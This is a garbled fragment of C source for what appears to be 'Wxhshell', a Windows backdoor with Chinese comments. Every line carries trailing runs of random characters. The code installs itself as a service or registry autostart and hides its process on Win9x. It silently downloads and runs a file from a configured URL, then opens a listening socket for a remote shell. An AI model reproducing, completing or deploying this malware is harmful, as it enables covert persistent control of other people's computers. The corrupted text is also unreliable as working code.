DWORD BasePriority; :O{ :;X)
ULONG UniqueProcessId; ]M2> %Dvw
ULONG InheritedFromUniqueProcessId; TKmC/c
} PROCESS_BASIC_INFORMATION; ,7'l$-r l
xNx!2MrR;
PROCNTQSIP NtQueryInformationProcess; *BF1Sso
2^juLXc|R
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zgO?%O
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^{bP#f
\'p)kDf
HANDLE hProcess; f5O*Njl
PROCESS_BASIC_INFORMATION pbi; 0!^{V:DtQ
20J:_+=]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "\BLi C
if(NULL == hInst ) return 0; ^EB}e15"
5tf/VT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m7eO T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aB$Y5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2.|Y
*z(.D\{%
if (!NtQueryInformationProcess) return 0; 3Y=S^*ztd
Obw uyhjQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c,+oH<bZZs
if(!hProcess) return 0; `T mIrc
wp@c;gK7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t!K|3>w
F6fm{
CloseHandle(hProcess); M+ H$Jjcs
$1w8GI\J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $[z*MQ
if(hProcess==NULL) return 0; 63at
lq
8]0R[kjD
HMODULE hMod; ,CCIg9Pt
char procName[255]; j6Vuj/+}
unsigned long cbNeeded; q'W`t>2T
{i=qx#2X?H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l
lQ<x
al^ yCoB
CloseHandle(hProcess); }g`A*y;t
JiRW|+`pe
if(strstr(procName,"services")) return 1; // 以服务启动 'vh:(-
v!W,h2:J
return 0; // 注册表启动 ]ao]?=q C
} \ii^F?+b
x*_c'\F|
// 主模块 )EO$JwQ
int StartWxhshell(LPSTR lpCmdLine) 4YdmG.CU
{ /423!g0Q
SOCKET wsl; :CV&WP
BOOL val=TRUE; u|Db%)[
int port=0; >0f5Mjug
struct sockaddr_in door; 7=JiL=
:FK(*BUh
if(wscfg.ws_autoins) Install(); V+E2nJ
ost~<4~
port=atoi(lpCmdLine); |vGz
1jLV
D
F0~A
if(port<=0) port=wscfg.ws_port; 2#sE\D
p[W8XX
WSADATA data; 1N2:4|woe
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d`v]+HK
ty(F;M(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cnI!}Bu
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
^d!-IL_
door.sin_family = AF_INET; fa$ Fo(.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {At1]>
door.sin_port = htons(port); ]2v31'
W~gFY#w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sYeZ.MacU
closesocket(wsl); vZ|m3;X
return 1; Bm^vKzp
} {y :/9
7|H !( a'
if(listen(wsl,2) == INVALID_SOCKET) { FCOSgEU
closesocket(wsl); "4I`.$F%O(
return 1; WM9QC59
} eoow]me
Wxhshell(wsl); _sw,Y!x%dF
WSACleanup(); \<V{6#Q=
uTOL
return 0; .\i9}ye
y|c]r!A
} _e/vw:
m,Os$>{Ok
// 以NT服务方式启动 Z!tt(y\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rjfQ\W;}U
{ x@Q}sW92
DWORD status = 0; y%iN9 -t
DWORD specificError = 0xfffffff; fU$zG"a_
xpUaFb
serviceStatus.dwServiceType = SERVICE_WIN32; tZ4W]od
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )PR{ia64;<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z1*y$=D?3[
serviceStatus.dwWin32ExitCode = 0; E5.)ro=$
serviceStatus.dwServiceSpecificExitCode = 0; /J1O{L
serviceStatus.dwCheckPoint = 0; C
<]rY
serviceStatus.dwWaitHint = 0; 0;o`7f
H<"{wUPT0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); trg+")a
if (hServiceStatusHandle==0) return; pbAQf3
*O+YhoR?
status = GetLastError(); ,HR~oT^
if (status!=NO_ERROR) K+PzTGWq^
{ L;>tuJY1
serviceStatus.dwCurrentState = SERVICE_STOPPED; oE)tK1>;H
serviceStatus.dwCheckPoint = 0; YI&7s_%
-
serviceStatus.dwWaitHint = 0; fXO"Mr1
serviceStatus.dwWin32ExitCode = status; irpO(>LK
serviceStatus.dwServiceSpecificExitCode = specificError; 5,;{<\c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ll73}v
return; @yqy$I
} 6Kg
lp\2
7w YSP&$
serviceStatus.dwCurrentState = SERVICE_RUNNING; q4Qm:|-
serviceStatus.dwCheckPoint = 0; )k=8.j4
serviceStatus.dwWaitHint = 0; [\eUCt F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }kGJ)zh
} miEfxim
=]&R6P>
// 处理NT服务事件,比如:启动、停止 J7_'@zU
VOID WINAPI NTServiceHandler(DWORD fdwControl) A'p"FYlCW
{ ]#TL~u[
switch(fdwControl) 1u'x|Un
{ 7[^:[OEE
case SERVICE_CONTROL_STOP: <HI5xB_
serviceStatus.dwWin32ExitCode = 0; NZmmO )p4
serviceStatus.dwCurrentState = SERVICE_STOPPED; [Kx_ %Le
serviceStatus.dwCheckPoint = 0; 0}-&v+
serviceStatus.dwWaitHint = 0; zZGPA j
{ 74xI#`E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T&6{|IfM_
} :>;-uve8'
return; /w`{]Ntgu
case SERVICE_CONTROL_PAUSE: C
KBLM2D
serviceStatus.dwCurrentState = SERVICE_PAUSED; pu,/GBG_
break; uXyNj2(d.
case SERVICE_CONTROL_CONTINUE: G{$9e}#
serviceStatus.dwCurrentState = SERVICE_RUNNING; R84g<
break; 2-. g>'W
case SERVICE_CONTROL_INTERROGATE: }mk9-7
break; fw'$HV76
}; NhS0D=v6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l&^9<th
} DTI+VY.W^
,b KA]#(2
// 标准应用程序主函数 :$j!e#?=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Y}faW(&Y
{ I?Hj,lN
(SU*fD!t
// 获取操作系统版本
YNH>^cD1
OsIsNt=GetOsVer(); 3@\vU~=P:
GetModuleFileName(NULL,ExeFile,MAX_PATH); [AfV+$
(/Hq8o-Fw
// 从命令行安装 \bZbz/+D
if(strpbrk(lpCmdLine,"iI")) Install(); +TfMj1Zx
UdT~h
// 下载执行文件 E_/v$
if(wscfg.ws_downexe) { rM/*_0[`d
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \/. Of]YQ
WinExec(wscfg.ws_filenam,SW_HIDE); =
r_&R#~GT
} :~{XL >:S
QaUh+k<6
if(!OsIsNt) { (S=::ODU
// 如果时win9x,隐藏进程并且设置为注册表启动 #sq -V,8
HideProc(); #<MLW4P
StartWxhshell(lpCmdLine); I7hPE7V+1
} M%1-fd
else --dGN.*xb4
if(StartFromService()) dPPe_% Ilr
// 以服务方式启动 2u~0B +)K/
StartServiceCtrlDispatcher(DispatchTable); UW. F1)
else vx5;}[Bhm
// 普通方式启动 ;_%61ZI?M<
StartWxhshell(lpCmdLine); /px*v<Aw1
Yono8M;9*
return 0; ~BaU2S@y
}